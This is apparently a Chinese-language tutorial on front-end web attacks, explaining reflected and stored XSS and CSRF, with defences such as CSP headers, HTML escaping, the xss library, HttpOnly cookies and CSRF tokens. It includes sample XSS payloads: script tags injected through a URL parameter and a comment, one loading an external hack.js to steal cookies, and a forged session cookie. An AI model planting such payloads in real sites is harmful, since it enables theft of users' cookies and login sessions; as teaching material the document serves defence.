1、XSS（Corss Site Scripting,跨站脚本攻击)

通过存在的安全漏洞的web网址用户的浏览器内运行非法的本站点的HTML标签或者JS的一种方式。换句话来说，就是在该页面内运行不是该页面的js或者html代码的一种攻击。

XSS的脚本攻击的影响：
1、利用虚假的表单信息骗取用户个人信息
2、利利⽤用脚本窃取⽤用户的Cookie值，被害者在不不知情的情况下，帮助攻击者发送恶意请求。
3、显示伪造的图片或者文章

1、XSS攻击的分类

1、反射型：url参数直接注入

例子1：
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
    NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="

2、存储型：存储到DB后读取注入

// 评论
<script>alert(1)</script>
// 跨站脚本注⼊入
我来了了<script src="http://localhost:4000/hack.js"></script>

2、XSS攻击的危害[想干啥就干啥]

1、获取页面数据
2、获取Cookies
3、劫取前端逻辑
4、发送请求
5、偷取网站的资料和用户的资料
6、偷取用户的秘密和登录态
7、欺骗用户

3、XSS攻击如何防范

1、CSP(Content Security Policy,安全攻击策略) 是一个附加的安全层。本质上就是建立白名单，开发者明确的告诉浏览器哪些外部资源可以加载和执行。开发者只需要配置规则，如何拦截就靠浏览器执行，可以通过这种方式减少XSS攻击。

①Content-Security-Policy: default-src 'self'：只允许加载本站资源
②Content-Security-Policy: img-src https://* :只允许加载HTTPS协议图片
③Content-Security-Policy: child-src 'none' :不允许加载任何来源框架用法：在head中加入meta标签，<meta http-equiv="Content-Security-Policy" content="script-src 'self'"/>

2、转义

1、黑名单:用户的输入有千千万万，可以对尖括号、斜杠、引号进行转义。
```
str = str.replace(/&/g, '&amp;')
str = str.replace(/</g, '&lt;')
str = str.replace(/>/g, '&gt;')
str = str.replace(/"/g, '&quto;')
str = str.replace(/'/g, '&#39;')
str = str.replace(/`/g, '&#96;')
str = str.replace(/\//g, '&#x2F;')
```
但是这里有一个问题，如果提交的是一个富文本的情况下，就不能用转义方法。虽然说可以采用上述黑名单的方式进行过滤，但是如果过滤的标签和属性太多的情况下，推荐使用白名单的方式。

2、白名单：一般情况下会引入xss库

const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
console.log(html) 
//<h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;

3、HttpOnly Cookie 这种方法是预防XSS攻击获取Cookie的最佳解决办法，Web程序在设置Cookie的时候，将其属性设置为HttpOnly就可以避免该⽹网⻚页的cookie被客户端恶意JavaScript窃取，保护⽤用户cookie信息。

2、CSRF(Cross Site Request Forgery,跨站请求伪造)

是一种常⻅见的Web攻击，它利利⽤用⽤用户已登录的身份，在⽤用户毫不不知情的情况下，以⽤用户的名义完成⾮非法操作。这个攻击的前提是用户必须在攻击网站有登录数据。上图为CSRF的攻击步骤：用户登录注册网站A，如成功登录则返回cookie到用户端，用户进入网站B，在网站B的引诱下点击了某个跳转链接，该跳转链接为网站A的某个相关链接，用户跳转至链接，网站A会根据用户已保存的cookie自动登录，从而可以进行相关操作。

1、如何避免CSRF攻击

1、使用token:每次登录都需要上传token。
2、隐藏令牌：类似cookie，但是可以隐藏在请求头中
3、referer验证：判断页面来源，如果是安全的则执行，不安全则不执行

前端常见的Web攻击【XSS、CSRF】